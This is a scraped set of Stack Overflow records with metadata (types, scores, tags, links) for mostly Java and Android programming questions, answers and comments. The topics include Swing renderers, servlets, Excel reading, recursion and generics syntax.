(((int)(sumR) &amp; 0xff) &lt;&lt; 16) | (((i…
has answer: http://stackoverflow.com/a/22418832
score: 0
answer count: 1
tagged with: dct
accepted answer: http://stackoverflow.com/a/22418832
type: AnsweredQuestion
tagged with: java
tagged with: image-processing

http://stackoverflow.com/comment/33850067
type: AnswerComment
comment on: http://stackoverflow.com/a/22278600
type: Comment
score: 0
has text: In the code above, the only `==` is `if(name.length() == 0)`, which is obviously correct. Moreover, the only `!=` is `while(check1 != "9999")` and `check1` is `""` whenever the condition is evaluated, so changing to `while(!check1.equals("9999"))` won't fix anything.

http://stackoverflow.com/comment/33859469
score: 0
has text: public int howManyMailItems(String who) { mailMap int count = 0; for(MailItem item : mailMap.keySet()) { if(item.getTo().equals(who)) { count++; } } return count; } When I try to compile it highlights keySet and says incompatible types
type: AnswerComment
comment on: http://stackoverflow.com/a/22287275
type: Comment

http://stackoverflow.com/comment/33769923
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22221785
type: AnswerComment
has text: @Marco13 - Actually, what you said at the start was that big-O notation is not sufficient. It is sufficient if you use it appropriately. And if you make the simplifying assumption, you don't even need to incorporate `P` into the notation to get useful results about scalability.

http://stackoverflow.com/q/22202472
tagged with: cordova
tagged with: android
tagged with: node.js
type: AnsweredQuestion
has body: I did the following and I am getting the error message I installed Apache Ant using the command npm install apache ant I updated my Cordova to the latest version, 3.4.0 by the command npm -g update phonegap I updated the system variables so the /bin directory of Java SDK and the /bin of Apache Ant is included in the PATH I updated my Android SDK and included Google API Ver 19 And I am still getting the following error message! You can open the image on new tab or save the image so you can view the message more clearly I tried running check_reqs and it only gave me one line which was "An error occuured while listing Android targets"
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22203074
type: Question
has title: PhoneGap error when compiling locally
accepted answer: http://stackoverflow.com/a/22203074
tagged with: ant
answer count: 1

http://stackoverflow.com/comment/33748946
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22226757
has text: Since the problem is not in your code you should probably post a console output instead.

http://stackoverflow.com/comment/33754780
type: Comment
comment on: http://stackoverflow.com/a/22229549
has text: @JayZus `System.console` returns a variable pointing to the current console where the Java application is running. Since you're running GlassFish from Netbeans console (which is not a real console), it will return `null`.
type: AnswerComment
score: 0

http://stackoverflow.com/q/22322439
has comment: http://stackoverflow.com/comment/33923860
has body: I've implemented a recursive funcion in Java. The function always fail after x number of loops. I can't find the reason why it fails. I debugged it step by step but when it fails, I Don't have a clue why. Can I get help? Code snippets public void Eight_ConnectedComponent_Spreading_Recursion(int r, int c){ Size s = ROI_GRAY.size(); //Make 8 points of neighbours Vector&lt;Point&gt; filldata = new Vector&lt;Point&gt;(); byte[] data = new byte[1]; for(int row = -1; row &lt; 2; row++){ for(int col = -1; col &lt; 2; col++){ if((r+row &gt;= 0 &amp;&amp; r+row &lt; s.height) &amp;&amp; (c+col &gt;= 0 &amp;&amp; c+col &lt; s.width)) { ROI_GRAY.get(r+row, c+col, data); if(data[0] == WHITE) filldata.add(new Point( r+row, c+col)); } } } if(filldata.size() &gt; 0){ for (int row = 0; row &lt; filldata.size() ; row++ ) { ROI_GRAY.put((int)filldata.get(row).x, (int)filldata.get(row).y, (byte)BLACK); } while(filldata.size() &gt; 0) { if((int)filldata.get(0).x != r &amp;&amp; (int)filldata.get(0).y != c) Eight_ConnectedComponent_Spreading_Recursion((int)filldata.get(0).x, (int)filldata.get(0).y); filldata.remove(0); } } filldata.trimToSize(); // return; }
has answer: http://stackoverflow.com/a/22322908
has comment: http://stackoverflow.com/comment/33923942
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33922634
type: Question
tagged with: recursion
tagged with: java
has comment: http://stackoverflow.com/comment/33921989
score: 0
has title: Why my recursive function failed in looping?
answer count: 1
has comment: http://stackoverflow.com/comment/33921979
has comment: http://stackoverflow.com/comment/33921729
tagged with: android
has comment: http://stackoverflow.com/comment/33922052

http://stackoverflow.com/q/22247538
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22247557
has answer: http://stackoverflow.com/a/22248694
has answer: http://stackoverflow.com/a/22247594
answer count: 6
has answer: http://stackoverflow.com/a/22247644
score: 0
has answer: http://stackoverflow.com/a/22247830
tagged with: string
has comment: http://stackoverflow.com/comment/33787100
possible better answer: http://stackoverflow.com/a/22247642
tagged with: addition
accepted answer: http://stackoverflow.com/a/22247644
has body: Info = new String[15]; Livraison = new String[5]; Facturation = new String[5]; Autres = new String[3]; Livraison = AddressForm(JP_Add_Livraison,"Livraison"); Facturation = AddressForm(JP_Add_Facturation,"Facturation"); Autres[0] = JT_Tel.getText(); Autres[1] = JT_Contact.getText(); Autres[2] = JT_Date.getText(); Autres[3] = JT_Note.getText(); Info.add(Livraison); Info.add(Facturation); Info.add(Autres); I want the 3 String[] -> Livraison + Facturation + Autres in Info[] How can I do that ? Thanks
has answer: http://stackoverflow.com/a/22247642
type: AnsweredQuestion
has title: Add to a String[] another String[]

http://stackoverflow.com/a/22231791
has comment: http://stackoverflow.com/comment/33758780
has comment: http://stackoverflow.com/comment/33760380
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/33759167
answers question: http://stackoverflow.com/q/22208961
has body: Try wrapping the scrollView in another LinearLayout, and set this new layout's height to a fixed width that keeps the button low enough to your liking. You can actually replace the Scrollview with a ListView, but don't do this until after at least trying to get this fix working first. ListViews scroll, but you'd still face this problem without this fix. To fix the new issue you mentioned below (with some quick and dirty code, you should use trial and error to fix it correctly), try the following //each hotel stock options for (int i = 0; i &lt; hotels.size(); i++) { // ... } if( hotels.size() &lt; numberOfItemsNeededForCorrectView ) { for( int i=0; i &lt; numberOfItemsNeededForCorrectView - hotels.size(); i++ ) { View blankView = new View(context); LinearLayout.LayoutParams viewParams = new LinearLayout.LayoutParams(1, 100); blankView.setLayoutParams(viewParams); blankView.setViewState(ViewState.INVISIBLE); dialogContainer.addView(stockPicker); } } You can try replacing your scrollView with a list view still and see if that fixes things. You can also try tweaking layout and gravity settings until you get it, or trying introducing other layouts or reorganizing your layouts (or using RelativeLayout, its really not that bad).
has comment: http://stackoverflow.com/comment/33758180

http://stackoverflow.com/comment/33898341
score: 0
has text: Hmm, if you use a ResourceBundle you need a locale too if I got it right. Is it a problem that there is no standard locale for the Dutch language?
type: QuestionComment
comment on: http://stackoverflow.com/q/22308477
type: Comment

http://stackoverflow.com/a/22232788
answers question: http://stackoverflow.com/q/22232634
downvote count: 0
score: 1
type: Answer
upvote count: 1
has body: In your .xml file, you declared the View with the id "radioGroup1" as a RadioGroup. In your Activity, you are casting a RadioGroup to a RadioButton, which cannot work and results in a ClassCastException. Your wrong code: RadioButton radioGrupo; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); radioGrupo = (RadioButton) findViewById(R.id.radioGroup1); } This is how to do it correctly: RadioGroup radioGrupo; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); radioGrupo = (RadioGroup) findViewById(R.id.radioGroup1); }

http://stackoverflow.com/q/22217160
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/33732414
tagged with: file-upload
score: 0
tagged with: exception
has title: Error in getting data from excel: Invalid header signature
has answer: http://stackoverflow.com/a/22217617
accepted answer: http://stackoverflow.com/a/22217617
tagged with: file
has comment: http://stackoverflow.com/comment/33732341
tagged with: excel
type: AnsweredQuestion
tagged with: java
has body: I am trying to read a .xlsx Excel file but I am getting an exception: Error in getting data from excel Invalid header signature; read 1688935826934608, expected -2226271756974174256 What is the thing that I am missing? My code is FileInputStream fileInputStream; try { fileInputStream = new FileInputStream(filePath + "\\" + "uploadAreaExcel.xlsx"); HSSFWorkbook workbook; workbook = new HSSFWorkbook(fileInputStream); HSSFSheet worksheet = workbook.getSheet("Sheet1"); System.out.println("Total Count :" + Integer.toString(worksheet.getLastRowNum())); for(int i=1;i&lt;worksheet.getLastRowNum();i++){ HSSFRow row1 = worksheet.getRow(i); HSSFCell cellA1 = row1.getCell((short) 0); System.out.println(cellA1.getStringCellValue()); HSSFCell cellB1 = row1.getCell((short) 1); System.out.println(cellB1.getStringCellValue()); } } catch (Exception e) { System.out.println("Error in getting data from excel "+e.getMessage()); }

http://stackoverflow.com/a/22191454
accepted answer of: http://stackoverflow.com/q/22191427
answers question: http://stackoverflow.com/q/22191427
type: AcceptedAnswer
score: 4
type: Answer
upvote count: 4
has body: try to use Simple date formatter, like: SimpleDateFormat sdf = new SimpleDateFormat("ddMMyyyyhhmm");// or any date format you want Date date = sdf.parse(s);
downvote count: 0

http://stackoverflow.com/q/22260514
tagged with: java
type: Question
has title: JTable CustomCellRenderer with JCustomTooltip
tagged with: jtooltip
has body: Riddle me this. Take this simple MyCellRenderer example shown here... class MyCellRenderer extends DefaultTableCellRenderer { public Component getTableCellRendererComponent( JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { JLabel c = (JLabel)super.getTableCellRendererComponent( // params from above ); // This... c.setToolTipText("I don't want text, I want a custom JComponent here"); return c; } } but instead of simply accessing the super's rendered JLabel and adding a simple text toolTip, I want to override that JLabel and use a completely custom tooltip using the JCustomToolTip library http://prefuse.org/doc/api/prefuse/util/ui/JCustomTooltip.html ... but I want to maintain all the original properties of the super's rendered JLabel. The only thing that changes is the JCustomToolTip is added. I have tried everything and nothing seems to work. I tried extending JLabel and overriding createToolTip(), and returning that child JLabel to the table (with all the properties copied from the super JLabel) ... but to no success. The JTable only seems to recognize text tooltips and Nimbus is not showing any of the original formatting. What do I do?
linked to: http://stackoverflow.com/q/10315714
tagged with: jtable
score: 0
has comment: http://stackoverflow.com/comment/33814932
answer count: 1
type: UnansweredQuestion
tagged with: swing
has answer: http://stackoverflow.com/a/22289075

http://stackoverflow.com/q/22290331
has body: I am trying the following code with Log4J in an applet. All I get is the creation and I cant trap the error. I opened a FW rule but it is not even getting that far. try { ac00_lfj.debug("NISTtime: query==true: about create NTPUDPClient"); timeClient = new NTPUDPClient(); }catch (Exception ex) { ac00_lfj.debug("NTUDPclient: creation exception = "+ex.toString()); }
tagged with: java
has comment: http://stackoverflow.com/comment/34139423
has comment: http://stackoverflow.com/comment/34134179
score: 0
has comment: http://stackoverflow.com/comment/33943208
has comment: http://stackoverflow.com/comment/33883680
has comment: http://stackoverflow.com/comment/33944264
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33944802
answer count: 0
has comment: http://stackoverflow.com/comment/33865191
has title: NIST time exception
tagged with: timestamp
type: Question
has comment: http://stackoverflow.com/comment/33884178
has comment: http://stackoverflow.com/comment/33943139

http://stackoverflow.com/comment/33722306
score: 0
type: QuestionComment
type: Comment
has text: Too broad. There are several reliable multicast protocols, and indeed if you can find JRMS to download from Oracle there is even an implementation of two of them in Java.
comment on: http://stackoverflow.com/q/22190514

http://stackoverflow.com/comment/33913536
type: AnswerComment
comment on: http://stackoverflow.com/a/22315075
type: Comment
has text: oh i type the wrong codes, my bad. here's the correct one. String string = null; //bufferedreader and bufferedwriter codes here while((string = bufferedReader.readLine()) != null) { if(string.contains(".com.jp")) { bufferedWriter.write(string); bufferedWriter.write("\t"); System.out.println(string); }
score: 0

http://stackoverflow.com/comment/33919852
type: QuestionComment
has text: Check your end time and end day in your configuration file ? The session is still active, presumably.
comment on: http://stackoverflow.com/q/22318429
score: 0
type: Comment

http://stackoverflow.com/a/22283399
has comment: http://stackoverflow.com/comment/33852669
score: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22283369
downvote count: 0
has body: You've created a a cyclic dependency between the paint and repaint methods which is preventing Swing from updating the UI - remove the repaint method Custom painting in Swing is done by overriding paintComponent rather than paint. Remember to invoke super.paintComponent(g).
accepted answer of: http://stackoverflow.com/q/22283369
type: Answer
upvote count: 2
has comment: http://stackoverflow.com/comment/33852149

http://stackoverflow.com/a/76874187
has comment: http://stackoverflow.com/comment/135573468
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22284823
has body: The idea seems still sound but does not compile (anymore?) with org.bytedeco javacv-platform 1.5.8 The method width() is undefined for the type Mat The method height() is undefined for the type Mat The method get(int, int, byte[]) is undefined for the type Mat

http://stackoverflow.com/q/22210198
accepted answer: http://stackoverflow.com/a/22210825
has title: Servlet is not displaying the data fetched from an html page
has comment: http://stackoverflow.com/comment/33720810
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33720655
has answer: http://stackoverflow.com/a/22210825
tagged with: java
tagged with: servlets
type: Question
has comment: http://stackoverflow.com/comment/33720773
tagged with: jsp
has body: I am new to Web Development in java, and just started with servlets with a project "Welcome Servlet". It has 3 files , 1. ColServlet.java in default package. 2. index.html in WebContent folder. 3. web.xml in WEB-INF folder. ColServlet.java is : import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class ColServlet extends HttpServlet { public void doGet(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException { String colname = request.getParameter("col"); response.setContentType("text/html"); PrintWriter info = response.getWriter(); info.println("The color is: "); info.println(" \n" + " <TITLE>Hello WWW \n" + " \n" + " Hello WWW \n" + " "+colname+" "+ " "); info.close(); } } index.html file is : Select Color Select the color: Blue Orange web.xml file is : Servlet1 ColServlet Servlet1 /ColServlet NOW : the problem is whenever i select any color, next page doesn't show the selected one.
has comment: http://stackoverflow.com/comment/33721232
score: 0
has comment: http://stackoverflow.com/comment/33720463
answer count: 1

http://stackoverflow.com/comment/33790457
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22249409
score: 0
has text: See [The Use of Multiple JFrames, Good/Bad Practice?](http://stackoverflow.com/q/9554636/2587435). There are other options. Not sure I really understand your question from the description, but check out some of the options from the accepted answer.

http://stackoverflow.com/comment/69908716
type: Comment
comment on: http://stackoverflow.com/a/27508639
score: 0
type: AnswerComment
has text: @AliReza19330 for these kind of structures I prefer to find a way start using vividsolutions lib, maybe now it works fine with hibernate5, sorry I haven't had any deal with it.

http://stackoverflow.com/q/22280515
answer count: 1
has comment: http://stackoverflow.com/comment/33847235
has title: Converting string (hh:mm:ss) to integer
has body: I'm having a problem converting time in the hh:mm:ss format to an integer. Using JTextField I enter time in the 24 hour format but I've used a string and don't know how to turn it into a integer. My code Date dNow = new Date(); SimpleDateFormat ft = new SimpleDateFormat (" hh:mm:ss"); JTextField Stime = new JTextField(); String St = Stime.getText(); Object[] message = { "Insert Start Time (HH:MM:SS) ", Stime }; Stime.setText(ft.format(dNow)); I've used the JTextField because I'm going to allow the user to enter a different time within another JTextFieldand then calculate the difference I can convert the string st into an integer and get no errors when I compile but lots of text when I run it which I think are caused by the semicolons but don't know how to fix it.
has comment: http://stackoverflow.com/comment/33847364
linked to: http://stackoverflow.com/q/12592648
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22280673
duplicate of: http://stackoverflow.com/q/12592648
tagged with: swing
tagged with: jtextfield
type: Question
tagged with: java
score: 0
accepted answer: http://stackoverflow.com/a/22280673

http://stackoverflow.com/comment/33831039
score: 0
type: AnswerComment
has text: thanks for the quick response.. :) works like a charm.. May i know how this TypeToken gets the bounded type? i just inferred that this would be gone because of the type erasure..
comment on: http://stackoverflow.com/a/22271806
type: Comment

http://stackoverflow.com/a/22212708
answers question: http://stackoverflow.com/q/22212117
score: 0
has comment: http://stackoverflow.com/comment/34273519
has comment: http://stackoverflow.com/comment/33725814
type: Answer
has comment: http://stackoverflow.com/comment/33725025
has comment: http://stackoverflow.com/comment/33725152
has comment: http://stackoverflow.com/comment/33725298
has body: There's a few problems. Declaring a class member massVal as you've done here is fine. public String massVal; You're then re-declaring and assigning massVal in an anonymous OnItemClickListener. String massVal = (String) mass.getItemAtPosition(position); In the anonymous OnClickListener that is giving you this problem, which is in a completely different scope than the anonymous OnItemClickListener above it, massVal never gets assigned and is therefore still null. Typically a better design is something like this: public class SomeActivity extends Activity { private Button myButton; private EditText myEditText; private String myString; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main.xml); myEditText = (EditText) findViewById(R.id.my_edit_text); myButton = (Button) findViewById(R.id.my_button); myButton.setOnClickListener(new View.OnClickListener() { String text = myEditText.getText() if (text != null) { myString = text.toString(); // ... continue processing your string } }); } }
has comment: http://stackoverflow.com/comment/33724959
has comment: http://stackoverflow.com/comment/33725102

http://stackoverflow.com/comment/33728045
score: 1
has text: Every tutorial on the [official site](https://developers.google.com/games/services/android/quickstart) has been updated to the new model so I'm not sure what you mean by 'all the online resources for implementation haven't been revisted to the new model'?
comment on: http://stackoverflow.com/q/22214400
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22289971
type: AnsweredQuestion
has body: I am trying to figure out how to use the argb method from http://developer.android.com/reference/android/graphics/Color.html. I've read through it multiple times and I still can't get this app to work. I'm trying to get the View widget to display the color made from moving the 4 sliders but no colors show no matter where I put the sliders. I thought that the argb method would return a value into colorValue and I would be able to use that as a color? Any suggestions would be appreciated! My main class looks like this: public class ColorChooserActivity extends Activity implements OnSeekBarChangeListener { //variables private SeekBar redSeekBar; private SeekBar greenSeekBar; private SeekBar blueSeekBar; private SeekBar alphaSeekBar; private View colorView; private TextView colorTextView; //instanced variables private static int colorValue = 0; private int RedValue = 0; private int GreenValue = 0; private int BlueValue =0; private int AlphaValue =0; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_color_chooser); //reference to widgets redSeekBar = (SeekBar) findViewById(R.id.redSeekBar); greenSeekBar = (SeekBar) findViewById(R.id.greenSeekBar); blueSeekBar = (SeekBar) findViewById(R.id.blueSeekBar); alphaSeekBar = (SeekBar) findViewById(R.id.alphaSeekBar); colorView = (View) findViewById(R.id.colorView); colorTextView = (TextView) findViewById(R.id.colorTextView); //listener redSeekBar.setOnSeekBarChangeListener(this); greenSeekBar.setOnSeekBarChangeListener(this); blueSeekBar.setOnSeekBarChangeListener(this); alphaSeekBar.setOnSeekBarChangeListener(this); } @Override public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) { int RedValue = redSeekBar.getProgress(); int GreenValue = greenSeekBar.getProgress(); int BlueValue = blueSeekBar.getProgress(); int AlphaValue = alphaSeekBar.getProgress(); argb(AlphaValue, RedValue, GreenValue, BlueValue); colorView.setBackgr…
tagged with: android-seekbar
has title: Having issues with argb method with Android
has answer: http://stackoverflow.com/a/22290013
type: Question
tagged with: java
accepted answer: http://stackoverflow.com/a/22290013
answer count: 1
tagged with: argb
score: 0
tagged with: android

http://stackoverflow.com/comment/33899646
has text: only add it to the main activity. (the one launched from the home screen that you want to go back to.)
comment on: http://stackoverflow.com/a/22308995
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/22243830
has body: You don't need any extra layout or Manifest config to integrate interstitials, but you will need to add a small amount of code. See https://developers.google.com/mobile-ads-sdk/docs/admob/advanced
type: Answer
has comment: http://stackoverflow.com/comment/33822291
answers question: http://stackoverflow.com/q/22231183
has comment: http://stackoverflow.com/comment/33787915
score: 0

http://stackoverflow.com/comment/33814742
type: Comment
comment on: http://stackoverflow.com/a/22262021
has text: Increment the version in your `gradle/wrapper/gradle-wrapper.properties` file.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33650179
comment on: http://stackoverflow.com/a/22171176
type: Comment
has text: If I looking for the code to return a value like 01101001 or 11010101, would that be possible with this method? Sorry I don't think I made that clear in my original question.
score: 0
type: AnswerComment

http://stackoverflow.com/q/22226899
score: 1
tagged with: java
tagged with: greedy
type: Question
has body: I have 2*n pairs like (a[i],b[i]) , i = 1..2*n and I want to take n elements from vector a, and n elements from vector b such that sum of this elements take from a and b to be minimal and build n new pairs (a[i],b[j]) with j&lt;i and (j != i for any i,j = 1..2n). I think i need to use dynamic programming to solve this problem but I am not sure and how I can start. Ex: For (3, 0) (7, 1) (2, 0) (5, 1) (6, 0) (4, 2) I must choose 2(from pair 3) , 5(from pair 4), 4(6) from a and 0(1), 1(2), 0(5) from b with total sum 12 and make new pairs like (2(3),0(1)) (5(4),1(2)) (4(6),0(5)).
upvote count: 1
has comment: http://stackoverflow.com/comment/33749691
tagged with: dynamic-programming
favorite count: 0
answer count: 0
type: UnansweredQuestion
has title: What method to choose
downvote count: 0
has comment: http://stackoverflow.com/comment/33749168

http://stackoverflow.com/comment/33838956
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22275916
has text: @SotiriosDelimanolis, I am learning multithreading concepts using this book as this is suggested by so many experts in SO. But I am facing difficulty in understanding this example.

http://stackoverflow.com/comment/33852110
score: 0
type: QuestionComment
has text: strange... is your bitmap mutable?
type: Comment
comment on: http://stackoverflow.com/q/22283390

http://stackoverflow.com/a/22224570
has comment: http://stackoverflow.com/comment/33745439
has comment: http://stackoverflow.com/comment/33745247
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22223914
type: Answer
answers question: http://stackoverflow.com/q/22223914
has body: In general, you can set concurrentConsumers and maxConcurrentConsumers on the DefaultMessageListenerContainer. The concurrency setting gives this as a convenient range. But according to the docs Specify concurrency limits via a "lower-upper" String, e.g. "5-10", or a simple upper limit String, e.g. "10" (the lower limit will be 1 in this case). So if you just say concurrency=100, it's still equivalent to 1-100, which would explain why you're seeing 1 consumer.

http://stackoverflow.com/comment/33843050
comment on: http://stackoverflow.com/q/22271590
score: 0
has text: Thanks for your reply. will try the same and let you know..
type: QuestionComment
type: Comment

http://stackoverflow.com/q/22308000
has title: Java inheritance: Reducing visibility in a constructor vs inherited method
possible better answer: http://stackoverflow.com/a/22308955
tagged with: java
tagged with: access-modifiers
has body: In the following code, the constructor of Child has reduced visibility from public to private, which is allowed. The inherited methods, such as test(), cannot have reduced visibility. Why does Java operate this way? class Parent { public Parent(){} public void test() { System.out.print("parent test executed!"); } } class Child extends Parent{ private Child(){} private void test(){ System.out.print("child test executed!"); } }
tagged with: methods
has answer: http://stackoverflow.com/a/22308955
answer count: 2
has answer: http://stackoverflow.com/a/22308039
downvote count: 0
tagged with: inheritance
favorite count: 0
upvote count: 6
tagged with: constructor
accepted answer: http://stackoverflow.com/a/22308039
score: 6
has comment: http://stackoverflow.com/comment/33897180
type: Question
type: AnsweredQuestion

http://stackoverflow.com/a/22244735
has body: You are confusing client and client socket. The client sends some data and the client socket reads it in the input stream. The server program has two types of sockets: one ServerSocket - its job is to listen for connections one or more Sockets (named client sockets in the Oracle example); the server reads data from its input stream and writes data to its output stream. The client program only needs to use one regular Socket.
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33782413
has comment: http://stackoverflow.com/comment/33784851
type: Answer
accepted answer of: http://stackoverflow.com/q/22244587
answers question: http://stackoverflow.com/q/22244587

http://stackoverflow.com/comment/33761162
type: Comment
type: QuestionComment
score: 0
has text: @assylias That's also nice! May you could simply do: `Stream.generate(() -> "*").limit(n).forEach(System.out::print);`
comment on: http://stackoverflow.com/q/22232751

http://stackoverflow.com/comment/87885811
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22302147
has text: [What does your step debugger tell you?](http://stackoverflow.com/questions/25385173/what-is-a-debugger-and-how-can-it-help-me-diagnose-problems). Your question can be answered very quickly and easily with your step-debugger. You should always try and solve your problems with a step debugger before coming to StackOverflow.

http://stackoverflow.com/a/22197144
type: Answer
score: 0
has body: Create a int variable count and on the click increase the count value and set that value on the textView
answers question: http://stackoverflow.com/q/22197009

http://stackoverflow.com/q/22206681
has answer: http://stackoverflow.com/a/22207197
type: AnsweredQuestion
score: 0
tagged with: java
has title: Java: how to get object instance from string?
has comment: http://stackoverflow.com/comment/33713395
type: Question
accepted answer: http://stackoverflow.com/a/22207197
linked to: http://stackoverflow.com/q/15089616
has body: Before we start, I should mention that I'm trying to do this in Android, though I believe it is not relevant to what I am trying to resolve in this question specifically. I should also mention that I have seen similar things asked already, though they did not exactly help me in what I am trying to do. While some of them have helped me get a general idea of how it should be done, in the end, I've been left helpless by the too-specific problems the other users had. I believe it would also be useful to clarify that I am relatively new to programming in Java, with very little experience or knowledge of complex data structures. What I am trying to do is as follows: Say I have a class named WordThing, which contains two strings, called name and color, and an int called picture (which is used for retrieving the ID for an imagebutton). I also have a separate char called uno, whose value is a. There is an instance of WordThing called a, with its values properly assigned. I want to ask if it'd be possible to call one of the values of WordThing a using the value of uno, like this: getValue(uno).picture While I am aware that the above example is, in many ways, incorrect, nevertheless am I asking whether such a thing would be possible. To clarify, in reality there are more chars than just uno, namely four, all with different letters, who are subject to randomization. My intention is to use these random letters to call upon four distinct WordThing instances, whose values will then be used in altering some elements of a given View, like this: upperleftButton.setImageResource(getValue(uno).picture); Any kind of help is appreciated.
has comment: http://stackoverflow.com/comment/33713431
answer count: 1
tagged with: android

http://stackoverflow.com/comment/33691417
type: QuestionComment
comment on: http://stackoverflow.com/q/22194472
score: 0
has text: Why are you thinking that? Why making things more complicated? What is your real problem/are trying to achieve?
type: Comment

http://stackoverflow.com/q/22171292
tagged with: jax-rs
has body: I created a webapp using maven, Spring, Apache CXF. If I set the service to produce XML, all works fine and I get result. If I set the service to product JSON, I get no result. this is the pom file dependencies: org.springframework spring-core 3.2.6.RELEASE org.springframework spring-context 3.2.6.RELEASE org.springframework spring-web 3.2.6.RELEASE javax javaee-api 7.0 org.apache.cxf cxf-rt-frontend-jaxrs 2.7.9 org.codehaus.jackson jackson-jaxrs 1.3.0 org.codehaus.jackson jackson-core-asl 1.9.13 this is spring context file: <context:component-scan base-package="com.training" /> <bean id="jsonProvider" class="org.codehaus.jackson.jaxrs.JacksonJaxbJsonProvider"/> <jaxrs:server id="jaxrsServer" address="/"> <jaxrs:providers> </jaxrs:providers> <jaxrs:serviceBeans> </jaxrs:serviceBeans> </jaxrs:server> this is the service @Path("/services") @Consumes(MediaType.APPLICATION_JSON) @Produces(MediaType.APPLICATION_JSON) public interface LibraryServices { @GET @Path("/book/{id}") public Response getBook(@PathParam("id") Integer bookId); } This is Response class (there are getters and setters) @XmlRootElement public class Response { private boolean success; private String methodName; private Object object; } ofcourse there is also an implementation for the service. With XML I get good answer: getBook false With JSON I get nothing. I think it is probably a matter of configration. Please help me regards, Ido EDIT: I found out that on a simple GET I receive 500 status. Tried to create an "out interceptor" to find out what is happening, but all seems OK. I can even see the object I wanted to return in the content of the message. I only use a simple GET call. Than get into the server and can debug the code. I generate a simple collection with random fields, and then the code finishes and I get no data at all. I generated a simple project simulating the problem but I can't load it here.
tagged with: spring
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33852677
score: 0
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/22283781
type: Question
has comment: http://stackoverflow.com/comment/33673003
tagged with: jackson
has title: CXF rest service - XML works fine but not JSON
accepted answer: http://stackoverflow.com/a/22283781
answer count: 1

http://stackoverflow.com/a/22180298
answers question: http://stackoverflow.com/q/22180081
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33678321
has comment: http://stackoverflow.com/comment/33676923
type: AcceptedAnswer
downvote count: 0
has body: You're certainly adding a layer of processing when you wrap one object in another. The main reason for using PrintWriter is the wealth of convenience functions which do intelligent output of various things. If you don't need that capability, you wouldn't use a PrintWriter at all. The point of a BufferedWriter is to allow output to be buffered and then written in a batch. I/O to file systems, the Internet, etc. is costly, and a large fraction of that cost is in generating the connection in the first place, and then waiting while each I/O operation completes. If you batch I/O to and from external devices, you can really reduce the overall cost because output (or input) can be batched--and you end up waiting for completion just once per batch, rather than once per I/O operation. For an "interesting" test, try writing characters to your FileWriter one at a time, then do the same thing with a BufferedWriter wrapping your FileWriter. I think in the latter case you'll see a large improvement.
accepted answer of: http://stackoverflow.com/q/22180081
type: Answer

http://stackoverflow.com/a/22297167
upvote count: 1
has comment: http://stackoverflow.com/comment/34166045
downvote count: 0
has body: You must force the exchange pattern to be inout: jms:MyQueue?exchangePattern=InOut More info on the camel docs: http://camel.apache.org/request-reply.html
score: 1
answers question: http://stackoverflow.com/q/22296285
type: Answer

http://stackoverflow.com/q/22224000
type: UnansweredQuestion
downvote count: 2
tagged with: propertychangelistener
tagged with: swing
has comment: http://stackoverflow.com/comment/33745526
has body: A combo box has two values: AND and OR. I written property change listener for the Combo,as this event fires, if and only of the currently selected value and previous values are different. But I need that this event should be fired even if the values are same? This is my sample code snippet: public void setRuleOperation(String ruleOperation) { String oldValue = this.ruleOperation; if (oldValue != ruleOperation) { this.ruleOperation = ruleOperation; getPropertyChangeSupport().firePropertyChange(PROPERTY_OPERATION, oldValue, null); } this.ruleOperation = ruleOperation; }
score: 2
has comment: http://stackoverflow.com/comment/33745486
tagged with: java
has comment: http://stackoverflow.com/comment/111574653
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/33745484
has title: How to fire property change listener if old and new values are equal in swing Jcombo box
has comment: http://stackoverflow.com/comment/33745281
linked to: http://stackoverflow.com/q/513832
has comment: http://stackoverflow.com/comment/33750753
answer count: 1
tagged with: jcombobox
favorite count: 0
tagged with: propertychangesupport
has answer: http://stackoverflow.com/a/63094618

http://stackoverflow.com/q/22174022
has title: Why does giving explicit type arguments to a non-generic method or constructor compile?
has answer: http://stackoverflow.com/a/22177069
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22174228
has comment: http://stackoverflow.com/comment/33654694
possible better answer: http://stackoverflow.com/a/22174233
tagged with: syntax
tagged with: java
has answer: http://stackoverflow.com/a/22174233
accepted answer: http://stackoverflow.com/a/22177069
type: Question
upvote count: 27
has body: When instantiating ArrayLists I am used to seeing code like this ArrayList&lt;Type&gt; arr = new ArrayList&lt;Type&gt;(); or ArrayList&lt;Type&gt; arr = new ArrayList&lt;&gt;(); however today I have come across an instantiation of ArrayList that looks like this: ArrayList&lt;Type&gt; arr = new &lt;Type&gt;ArrayList(); what is going on, and why does that give an "unsafe operations" compile warning?
